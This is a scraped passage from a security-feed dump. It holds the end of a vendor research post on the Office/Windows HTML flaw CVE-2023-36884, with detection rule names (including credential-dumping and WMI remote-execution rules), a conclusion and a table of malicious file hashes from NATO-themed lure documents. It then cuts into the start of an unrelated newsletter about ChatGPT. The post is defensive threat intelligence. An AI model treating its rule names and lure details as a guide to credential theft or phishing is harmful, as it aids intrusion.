Windows HTML CVE-2023-36884 Remote Code Execution Vulnerability \nFE_Office and Windows HTML CVE-2023-36884 Remote Code Execution Vulnerability \nFE_Office and Windows HTML CVE-2023-36884 Remote Code Execution Vulnerability \n\nMVX \n\nFE_Exploit_RTF_CVE20170199_1\\ \nFEC_Exploit_RTF_CVE20170199_1_FEBeta\\ (703874) \nFEC_Exploit_RTF_Generic_1_FEBeta\\ (703875) \nFEC_Exploit_RTF_Generic_2_FEBeta\\ (703876) \nFEC_Trojan_HTML_Generic_64_FEBeta\\ (703877) \nSuspicious Network Activity\\ (10405) \nTrojan.Generic.MVX\\ (43183) \n\nHELIX \n\nWINDOWS METHODOLOGY [Office Suspicious Child Process] (1.1.2497) \nWINDOWS METHODOLOGY [Impacket Secretsdump] (1.1.3336) \nIMPACKET OBFUSCATION [WmiExec Commands](1.1.3942) \n\n \n\n\n## Conclusion \n\n## \n\nMicrosoft Office continues to be the top target for attackers, especially when it comes to abusing features and exploiting design and logic flaws. As the native memory corruption flaws gradually decline along with the inherent challenges in weaponizing them, this feature rich application, with its wider attack surface, provides an attacker a path of least resistance. In one of our previous blogs, we predicted this exploitation trend, and CVE-2023-36884 is yet another validation of that. We believe this trend is going to continue with vulnerabilities in the application features and their easy exploitation remaining a challenge for organizations. Consequently, endpoint and network security solutions will have to continuously evolve to address those challenges. By applying secure application design and development, we can certainly break the exploitation chain and remain protected against these attacks. \n\n## Indicators of Compromise (IOCs)\n\n### Hashes of malicious files\n\nMD5 hash \n\nFilename \n\n227874863036b8e73a3894a19bd25a0 \n\nOverview_of_UWCs_UkraineInNATO_campaign.docx \n\n00ad6d892612d1fc3fa41fdc803cc0f3 \n\nLetter_NATO_Summit_Vilnius_2023_ENG(1).docx \n\n3ca154da4b786a7c89704d0447a03527 \n\nafchunk.rtf \n\n0c72b2479316b12073d26c6ed74d3bdc \n\nstart.xml \n\n7bbe0e887420d55e43ce1968932e1736 \n\nRFile.asp \n\ne65a1828d6afe3f27b4ec7ec1a2fee20 \n\n1111.htm \n\n510823c639f6a608b59d78b71be50aab \n\n2222.chm \n\nf49a0d153660cf95d7113c1d65e176ff \n\nINDEX.htm \n\nf0cd84693a7481834fa021496c3ec9e9 \n\nfileH.mht \n\n0fff39ae5d049967c2c74db71eeda904 \n\nex001.url \n\n54cfc7f45302d9793af97bd7d33c6e9a \n\nfile001.vbs \n\n8639c28a3fba0912fcf563b31f97d300 \n\ntestdll.dll \n\n476274dc8efda182acd47ac0a5362a5a \n\nfile001.vbs \n\ne6f8b0299ca4d44bf09dc4e443fb503c \n\ntestdll64.cpl \n\na38aa3eaf3ffb79fbd50f503ccea2f25 \n\nfileH.htm \n\nfe8a942370a6881ee9d93f907cae7aa5 \n\nfile1.mht \n\n7fd97c71ef08a0f066ce4fbf465d1062 \n\nfile1.htm \n\n26a6a0c852677a193994e4a3ccc8c2eb \n\nfile001.url \n\n218a069f4711d84100062d01a41d960f \n\nex001.zip \n\n76f918cbfa4075101a61aac74582f755 \n\ncalc.exe \n\n_ This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers. _\n", "cvss3": {}, "published": "2023-08-24T00:00:00", "type": "trellix", "title": "The Tale of Two Exploits - Breaking Down CVE-2023-36884 and the Infection Chain", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-0199", "CVE-2017-1099", "CVE-2021-40444", "CVE-2022-30190", "CVE-2022-37985", "CVE-2023-30190", "CVE-2023-36884"], "modified": "2023-08-24T00:00:00", "id": "TRELLIX:D3CC9DD7452C6A1D346229DE526BBE46", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/breaking-down-cve-2023-36884-and-the-infection-chain.html", "cvss": {"score": 0.0, "vector": "NONE"}}], "talosblog": [{"lastseen": "2023-03-24T20:18:32", "description": "\n\nWelcome to this week's edition of the Threat Source newsletter.\n\nThere is no shortage of [hyperbolic headlines](<https://www.businessinsider.com/chatgpt-jobs-at-risk-replacement-artificial-intelligence-ai-labor-trends-2023-02?ref=blog.talosintelligence.com>) about ChatGPT out there, everything from how it and other AI tools like it are here to replace all our jobs, make college essays a thing of the past and change the face of cybersecurity as we know it.\n\nIt's the talk of SEO managers everywhere who can't wait to find a way to work "ChatGPT" into a headline. And in the security community, everyone is concerned that AI models will help attackers get smarter, faster or more dangerous.\n\nThe biggest issue I'm seeing with that is these tools aren't that smart.\n\nOther writers have done a [far more eloquent](<https://www.theatlantic.com/technology/archive/2022/12/chatgpt-openai-artificial-intelligence-writing-ethics/672386/?ref=blog.talosintelligence.com>) and interesting job than I can in a few dozen words here about [how bad these models are at writing creatively or interpreting human emotion](<https://www.vice.com/en/article/bvmk9m/everybody-please-calm-down-about-chatgpt?ref=blog.talosintelligence.com>), but I wanted to put my own spin on things with my incredibly niche interests and use case for ChatGPT.\n\nFirst, I asked it to help me write this newsletter. While it politely declined to do the whole thing for me because it can't produce something on Talos' behalf, it did start to compile a list of "the top stories we're following this week."\n\n![Threat Source newsletter \\(March 9, 2023\\) \u2014 Stop freaking out about ChatGPT](